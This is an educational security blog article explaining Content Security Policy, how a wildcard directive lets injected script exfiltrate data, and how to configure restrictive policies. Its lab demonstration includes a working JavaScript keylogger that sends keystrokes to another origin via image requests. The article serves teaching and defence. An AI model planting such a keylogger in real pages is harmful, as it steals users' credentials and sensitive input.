This is our fifth article, discussing how to abuse or bypass poorly configured Content Security Policies (CSP). It builds on some of our previous articles.
Who is this article for?
Understanding application layer security threats is important for a wide-range of professions, including:
Security Architects and Solution Architects, as they need to understand the potential risks and mitigations to take appropriate design decisions, such as access control.
Software Engineers / Developers, because they need to understand how to build their applications in a secure manner and avoid critical mistakes.
Security Consultants of various types as they need to understand the risks of what they may be reviewing or consulting on.
Penetration Testers who need to understand how to attack these systems!
As reference for this article, it is worth reading the following articles that we have already published:
CSP is a security mechanism that allows websites to restrict where content can be pulled from and/or data sent to, including but not limited to: form actions, images, JavaScript, and frames.
In many practical senses, there is some similarity between CSP and SOP. SOP restricts access to resources of other origins/domains (protecting the confidentiality of other origins), while CSP restricts the loading and execution of content from other origins (protecting the current origin from others).
Whilst Same Origin Policy (SOP) can stop script in one domain d1 accessing content from another domain d2, it does not stop script in d1 from sending requests or information to d2 - thus allowing the exfiltration of information, perhaps through the use of the XmlHttpRequest class in JavaScript. CSP can be used to stop the request being sent from d1 to d2 at all, thus denying the ability to exfiltrate data.
CSP can be defined either as an HTTP header, and it would be set as a response header from the web server:
HTTP Header example:
content-security-policy: default-src 'self';
HTML example:
<meta http-equiv="Content-Security-Policy" content="default-src 'self';" />
This restrictive CSP requires that content is loaded only from the same origin. Initially, we will examine the basic behaviour and impact of CSP using this policy.
Consider the following HTML and JavaScript code:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self';" />
</head>
<body>
<h1>CSP Test Page - self-only</h1>
</body>
</html>
Host this HTML content using a simple Python web server, e.g. by running the following command in Kali Linux:
python3 -m http.server 9000
Open the webpage at:
http://localhost:9000/csp-self-example.html
This successfully renders the somewhat bland page, and we can see the HTTP GET request hitting the Python web server:
Launch the development tools within the browser and execute the following JavaScript:
const body = document.getElementsByTagName("body")[0];
const img = document.createElement("img");
img.src = "http://127.0.0.1:9000/fslogo.png";
body.appendChild(img);
The web page has loaded from the origin 'localhost:9000', while the JavaScript tries to load a resource from '127.0.0.1:9000'. This causes a CSP error, and no additional requests reach the web server, unlike SOP restrictions, as demonstrated in the following screenshot:
However, if the JavaScript is altered to pull the resource from the same origin as the page:
const body = document.getElementsByTagName("body")[0];
const img = document.createElement("img");
img.src = "http://localhost:9000/fslogo.png";
body.appendChild(img);
This successfully loads the image. The CSP policy allows the request to go from the browser to the server, obtaining the image, as shown in the following screenshot:
A note on origin, it is important to understand that an 'origin' is a triple that is the combination of (1) protocol (e.g. HTTPS or HTTP), (2) domain (e.g. www.firesand.co.uk), and (3) port (e.g. 80/443, or in these examples 9000!).
So far, we have only looked at default-src, which specifies the allowed sources of content when no other source has been specified for a given content type, e.g., for stylesheets or JavaScript. There are a wide range of sources that can be configured. A few examples include:
In addition, less obvious options exist such as:
With these directives, we can create more sophisticated policies, such as the following example.:
default-src 'self'; img-src 'https://img.firesand.co.uk/';
Such a policy would allow images to come exclusively from https://img.firesand.co.uk, whilst the source for all other content would come from the origin, e.g., https://www.firesand.co.uk/ if the HTTP response had been served from that origin.
Another useful value when creating a restrictive CSP is the 'none' value. This can be used for two primary purposes:
For example:
Content-Security-Policy:
default-src 'none';
script-src 'https://script.firesand.co.uk/';
style-src 'self';
img-src 'https://img.firesand.co.uk/';
connect-src 'self';
font-src 'self';
form-action 'self';
base-uri 'self';
block-all-mixed-content;
Due to the value of default-src, any property that is unspecified is treated as 'none' as well. For example, the above policy would block the associated site from being framed at all because both frame-src and frame-ancestors will default to 'none', as neither are defined.
This CSP above introduces a few new properties:
There are additional advanced features that can improve the security provided by a CSP, such as nonces and hashes.
It should be noted that not all browsers support all the same CSP directives, support depends on browser and browser version.
Ok, so now we have a basic understanding of what CSP can do - thus far it appears to only be a good thing, and essentially that is the case - CSP is an excellent control. It restricts sources, thus thwarting various attacks. A CSP policy can protect a web application against many attacks including XSS attacks. It provides this protection, not by stopping the XSS attack itself, but rather by preventing an XSS attack from performing the functions it is likely to attempt. Many XSS attacks will try and pull in external resources (perhaps more malicious scripts), and/or exfiltrate data from origins other than the target site. Thus, by having a CSP policy that restricts all access to resources outside of the origin, even if the web application at that origin has an XSS vulnerability, any such attack will be rendered moot.
However, there are problems:
A really common way to cause problems with a CSP is to use wild cards, this may - or may not - be done with a full understanding of the implications. There are times where developers do not really understand what CSP does nor why, and will use a wild card to make life easier, there are other times where the functionality of a web application requires a wild card.
In the latter scenario, consider a website that needs to allow users to upload images from arbitrary locations, this necessitates the use of a wild card. An immediate problem with this is, that it can be enable an XSS attack to exfiltrate data.
This can be demonstrated by taking the restrictive policy above, modifying it for the earlier examples running in Kali, and including a single wild card - for image tags. Despite the fact that this is a broadly highly restrictive policy, it will still be possible to exfiltrate data with a successful XSS attack.
Here is the CSP:
Content-Security-Policy:
default-src 'none';
script-src 'http://localhost:9000/';
style-src 'self';
img-src *;
connect-src 'self';
font-src 'self';
form-action 'self';
base-uri 'self';
block-all-mixed-content;
The following is a sample HTML page including the CSP:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'http://localhost:9000/';style-src 'self';img-src *;connect-src 'self';font-src 'self';form-action 'self';base-uri 'self';block-all-mixed-content;" />
</head>
<body>
<h1>CSP Test Page - Restricted with IMG Wild Card</h1>
<form>
<input type="textbox" />
</form>
</body>
</html>
If an attacker is able to inject the following JavaScript, which is a simple keylogger, it will exfiltrate any key presses made by the user (e.g. username/password on a login screen, or potentially other sensitive information such as credit card data) to an origin other than the origin from which the page was served:
const body = document.getElementsByTagName('body')[0];
body.onkeydown = function(e) {
var ev = e || event;
var keyCode = ev.code;
var img = document.createElement("img");
img.src = "http://127.0.0.1:9000/?key="+keyCode;
img.style = "width:1px;height:1px;x-1000px;y-1000;";
body.appendChild(img);
}
The following screenshot shows the web page which has the CSP defined and the malicious JavaScript loaded into it, with 'Some sensitive' information entered into the simple form (note the origin of HTTP, localhost, port 9000):
The following screenshot shows the attacker's web server, receiving the all the logged key strokes, but for a different origin (HTTP, 127.0.0.1, 9000):
Unfortunately, any use of wild card will lead to this situation, it does not need to be IMG tags, but can be any resource that could be externally loaded. Be it style sheets, fonts, media files, objects, even embedding iFrames from a different origin.
Essentially, any wildcard will enable an XSS attack to exfiltrate data.
There are other issues, lets say the CSP does not specify any wildcards, however, it allows access to an external API for Web Sockets or similar - if that API can be tricked into making calls to arbitrary origins. Lack of CSP and wildcards are not the only issues here, but are the most common that Firesand comes across.
One key step is to understand what CSP is, how it differs from and complements other controls. Vitally though, it is imperative to both actually make use of CSP and to never use the wild card unless absolutely necessary. Beyond that, make sure developers, engineers etc are trained in developing secure code, that code is tested to ensure that it does not contain injection flaws.
Controls such as Web Application Firewalls (WAFs) also complement CSPs here, in that they can detect and block attacks such as XSS, but they are by no means foolproof - they too can be misconfigured and many have well known bypasses (to be discussed in a future article). However, the combination of CSP, WAF, and well-written and tested web applications - written by well-trained developers - is a very secure one!
CSP is a powerful and useful additional toolset for protecting web applications, and forms part of a wider framework of controls. However, limited understanding of it as a control, as well as misconfiguration can leave web applications wide-open to critical security issues, security issues that could result in serious business impact such as data privacy breaches, and fines, or risks to licenses, etc..
Further, when defining a CSP it is important to specify a, non-wild card, value for default-src of either 'self' or 'none' (with the latter being the most restrictive). Only ever use wild cards where there is no other option - should this be the case, then effort must be put into the detection and prevention of attacks such as XSS.
[1] - Mozilla, 'Content Security Policy (CSP)', https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP, accessed on 28th May 2024
Cookie Notice
We use cookies to ensure that we give you the best experience on our website. Please confirm you are happy to continue.